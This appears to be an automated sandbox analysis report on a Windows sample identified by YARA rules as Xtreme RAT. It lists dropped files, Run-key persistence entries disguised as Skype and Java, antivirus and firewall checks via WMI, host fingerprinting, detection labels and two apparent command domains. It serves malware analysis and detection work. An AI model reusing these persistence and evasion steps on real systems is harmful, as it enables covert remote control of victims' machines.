Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOOPENFILEERRORBOX

Lowering of HIPS / PFW / Operating System Security Settings:

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Show sources

Source: C:\Windows\System32\cscript.exe	WMI Queries: IWbemServices::ExecQuery - Select * from AntiVirusProduct
Source: C:\Windows\System32\cscript.exe	WMI Queries: IWbemServices::ExecQuery - Select * from AntiVirusProduct
Source: C:\Windows\System32\cscript.exe	WMI Queries: IWbemServices::ExecQuery - Select * from FirewallProduct
Source: C:\Windows\System32\cscript.exe	WMI Queries: IWbemServices::ExecQuery - Select * from FirewallProduct

Language, Device and Operating System Detection:

Contains functionality locales information (e.g. system language)

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	12_2_00406170
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: GetLocaleInfoA,	12_2_0040BCFC
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: GetLocaleInfoA,	12_2_0040BCB0

Queries the installation date of Windows

Show sources

Source: C:\Windows\System32\svchost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Queries the volume information (name, serial number etc) of a device

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe

Queries volume information: C:\ VolumeInformation

Queries time zone information

Show sources

Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation DynamicDaylightTimeDisabled

Jump to behavior

Contains functionality to query local / system time

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Code function: 3_2_00C89790 GetLocalTime,GetDateFormatW,GetTimeFormatW,

3_2_00C89790

Contains functionality to query the account / user name

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Code function: 3_2_00C8854C GetUserNameA,

3_2_00C8854C

Contains functionality to query windows version

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe

Code function: 12_2_004855D0 GetVersion,

12_2_004855D0

Queries the cryptographic machine GUID

Show sources

Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Behavior Graph

Simulations

Behavior and APIs

Time	Type	Description
10:11:35	API Interceptor	2x Sleep call for process: sxz.exe modified
10:11:46	API Interceptor	10x Sleep call for process: svchost.exe modified
10:11:47	API Interceptor	1x Sleep call for process: javaw.exe modified
10:11:48	API Interceptor	1666x Sleep call for process: explorer.exe modified
10:11:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run sxz.exe C:\Users\user\AppData\Roaming/Microsoft/Skype.exe
10:11:49	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run HKCU C:\Windows\InstallDir\Server.exe
10:11:50	API Interceptor	1x Sleep call for process: server.exe modified
10:11:50	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run HKLM C:\Windows\InstallDir\Server.exe
10:11:58	API Interceptor	28x Sleep call for process: 358saxio.exe modified
10:12:02	API Interceptor	1x Sleep call for process: java.exe modified
10:12:07	API Interceptor	11x Sleep call for process: cscript.exe modified
10:12:10	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 358saxio.exe C:\Users\user\AppData\Roaming/Microsoft/Skype.exe
10:12:30	API Interceptor	1x Sleep call for process: Server.exe modified
10:13:06	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run sVCHXnbVdLZ "C:\Users\user\AppData\Roaming\Oracle\bin\javaw.exe" -jar "C:\Users\user\JbWWIoBadTZ\lHhuTzdHfZG.ZDwmik"

Antivirus Detection

Initial Sample

Source	Detection	Scanner	Label	Link
sxz.exe	43%	virustotal		Browse
sxz.exe	100%	Avira	DR/Delphi.wqtni

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user~1\AppData\Local\Temp\358saxio.exe	100%	Avira	DR/Delphi.svunx
C:\Users\user~1\AppData\Local\Temp\Retrive5306090169834682625.vbs	100%	Avira	VBS/Agent.281
C:\Users\user~1\AppData\Local\Temp\Retrive4502924618821110619.vbs	100%	Avira	VBS/Agent.276
C:\Users\user\AppData\Roaming\Microsoft\Skype.exe	100%	Avira	DR/Delphi.svunx
C:\Users\user~1\AppData\Local\Temp\Retrive3783187546293847897.vbs	100%	Avira	VBS/Agent.281
C:\Users\user~1\AppData\Local\Temp\server.exe	100%	Avira	TR/Spy.59904216
C:\Users\user~1\AppData\Local\Temp\Retrive5899708393590982329.vbs	100%	Avira	VBS/Agent.276
C:\Users\user~1\AppData\Local\Temp\358saxio.exe	48%	virustotal		Browse

Unpacked PE Files

Source	Detection	Scanner	Label
19.1.358saxio.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen
12.0.358saxio.exe.400000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen
27.1.Server.exe.c80000.0.unpack	100%	Avira	TR/Spy.59904216
5.2.svchost.exe.c80000.6.unpack	100%	Avira	TR/Spy.59904216
3.2.server.exe.c80000.1.unpack	100%	Avira	TR/Spy.59904216
15.0.Server.exe.c80000.0.unpack	100%	Avira	TR/Spy.59904216
2.1.sxz.exe.400000.0.unpack	100%	Avira	DR/Injector.toian
35.2.358saxio.exe.400000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen
27.2.Server.exe.c80000.1.unpack	100%	Avira	TR/Spy.59904216
15.0.Server.exe.c80000.1.unpack	100%	Avira	TR/Spy.59904216
19.0.358saxio.exe.400000.5.unpack	100%	Avira	TR/Crypt.ZPACK.Gen
3.0.server.exe.c80000.2.unpack	100%	Avira	TR/Spy.59904216
35.0.358saxio.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen
6.2.iexplore.exe.c80000.2.unpack	100%	Avira	TR/Spy.59904216
35.1.358saxio.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen
19.0.358saxio.exe.400000.4.unpack	100%	Avira	TR/Crypt.ZPACK.Gen
6.0.iexplore.exe.c80000.0.unpack	100%	Avira	TR/Spy.59904216
12.2.358saxio.exe.23c0000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen
2.0.sxz.exe.400000.1.unpack	100%	Avira	DR/Injector.toian
19.2.358saxio.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen
14.1.explorer.exe.1b80000.0.unpack	100%	Avira	TR/Spy.59904216
1.2.sxz.exe.1a40000.3.unpack	100%	Avira	DR/Injector.toian
35.2.358saxio.exe.1440000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen
3.0.server.exe.c80000.0.unpack	100%	Avira	TR/Spy.59904216
15.1.Server.exe.c80000.0.unpack	100%	Avira	TR/Spy.59904216
1.0.sxz.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen
14.1.explorer.exe.1b80000.1.unpack	100%	Avira	TR/Spy.59904216
35.0.358saxio.exe.400000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen
27.0.Server.exe.c80000.1.unpack	100%	Avira	TR/Spy.59904216
5.0.svchost.exe.c80000.0.unpack	100%	Avira	TR/Spy.59904216
27.0.Server.exe.c80000.0.unpack	100%	Avira	TR/Spy.59904216
15.0.Server.exe.c80000.2.unpack	100%	Avira	TR/Spy.59904216
2.2.sxz.exe.400000.2.unpack	100%	Avira	DR/Injector.toian
19.0.358saxio.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen
15.2.Server.exe.c80000.1.unpack	100%	Avira	TR/Spy.59904216
12.2.358saxio.exe.400000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen
12.0.358saxio.exe.400000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen
2.0.sxz.exe.400000.3.unpack	100%	Avira	DR/Injector.toian
2.0.sxz.exe.400000.2.unpack	100%	Avira	DR/Injector.toian
34.0.iexplore.exe.c80000.0.unpack	100%	Avira	TR/Spy.59904216
15.0.Server.exe.c80000.3.unpack	100%	Avira	TR/Spy.59904216
3.0.server.exe.c80000.3.unpack	100%	Avira	TR/Spy.59904216
34.2.iexplore.exe.c80000.2.unpack	100%	Avira	TR/Spy.59904216
27.0.Server.exe.c80000.3.unpack	100%	Avira	TR/Spy.59904216
3.0.server.exe.c80000.1.unpack	100%	Avira	TR/Spy.59904216
2.0.sxz.exe.400000.5.unpack	100%	Avira	DR/Injector.toian
5.2.svchost.exe.290000.1.unpack	100%	Avira	TR/Spy.59904216
1.2.sxz.exe.400000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen
12.0.358saxio.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen
27.0.Server.exe.c80000.2.unpack	100%	Avira	TR/Spy.59904216
12.0.358saxio.exe.400000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen
3.1.server.exe.c80000.0.unpack	100%	Avira	TR/Spy.59904216
35.0.358saxio.exe.400000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen
2.0.sxz.exe.400000.4.unpack	100%	Avira	DR/Injector.toian
19.0.358saxio.exe.400000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen
35.0.358saxio.exe.400000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen
19.0.358saxio.exe.400000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen
2.0.sxz.exe.400000.0.unpack	100%	Avira	DR/Injector.toian
1.1.sxz.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen
19.0.358saxio.exe.400000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen
12.1.358saxio.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen

Domains

Source	Detection	Scanner	Label	Link
iaficasioo.zapto.org	1%	virustotal		Browse
fashionstune.com	3%	virustotal		Browse

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

Source	Rule	Description	Author
C:\Windows\InstallDir\Server.exe	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
C:\Windows\InstallDir\Server.exe	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
C:\Users\user~1\AppData\Local\Temp\server.exe	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
C:\Users\user~1\AppData\Local\Temp\server.exe	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>

Memory Dumps

Source	Rule	Description	Author
00000003.00000000.14905165956.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
0000000F.00000000.14937698570.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
0000000F.00000002.14989895202.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
0000001B.00000000.15000788791.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
0000000F.00000000.14932929795.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
00000022.00000000.15012281235.00C80000.00000040.sdmp	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
00000022.00000000.15012281235.00C80000.00000040.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
00000003.00000001.14905808954.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
0000000E.00000001.14937243423.01B81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
00000003.00000002.14987723130.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
0000001B.00000001.15007151931.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
0000001B.00000000.15001441864.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
00000005.00000002.15179880413.00C80000.00000040.sdmp	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
00000005.00000002.15179880413.00C80000.00000040.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
0000001B.00000000.14999659592.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
00000006.00000002.14955870384.00C80000.00000040.sdmp	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
00000006.00000002.14955870384.00C80000.00000040.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
0000000F.00000000.14944848932.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
00000005.00000002.15177862719.00290000.00000004.sdmp	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
00000005.00000002.15177862719.00290000.00000004.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
0000000F.00000000.14950318636.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
0000000F.00000001.14957378618.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
00000006.00000000.14913253676.00C80000.00000040.sdmp	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
00000006.00000000.14913253676.00C80000.00000040.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
00000003.00000000.14904035142.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
0000000E.00000001.14936774837.01B81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
0000001B.00000002.15035469105.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
00000003.00000000.14905430148.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
00000003.00000000.14904944731.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
00000005.00000000.14909911900.00C80000.00000040.sdmp	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
00000005.00000000.14909911900.00C80000.00000040.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
0000001B.00000000.15004091676.00C81000.00000020.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
00000022.00000002.15021754459.00C80000.00000040.sdmp	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
00000022.00000002.15021754459.00C80000.00000040.sdmp	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>

Unpacked PEs

Source	Rule	Description	Author
34.0.iexplore.exe.c80000.0.raw.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
34.0.iexplore.exe.c80000.0.raw.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
27.1.Server.exe.c80000.0.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
27.1.Server.exe.c80000.0.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
3.2.server.exe.c80000.1.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
3.2.server.exe.c80000.1.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
15.0.Server.exe.c80000.0.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
15.0.Server.exe.c80000.0.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
5.2.svchost.exe.c80000.6.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
5.2.svchost.exe.c80000.6.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
15.0.Server.exe.c80000.1.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
15.0.Server.exe.c80000.1.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
3.0.server.exe.c80000.2.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
3.0.server.exe.c80000.2.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
6.0.iexplore.exe.c80000.0.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
6.0.iexplore.exe.c80000.0.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
27.2.Server.exe.c80000.1.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
27.2.Server.exe.c80000.1.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
6.2.iexplore.exe.c80000.2.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
6.2.iexplore.exe.c80000.2.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
5.2.svchost.exe.c80000.6.raw.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
5.2.svchost.exe.c80000.6.raw.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
14.1.explorer.exe.1b80000.0.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
14.1.explorer.exe.1b80000.0.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
3.0.server.exe.c80000.0.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
3.0.server.exe.c80000.0.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
15.1.Server.exe.c80000.0.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
15.1.Server.exe.c80000.0.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
34.2.iexplore.exe.c80000.2.raw.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
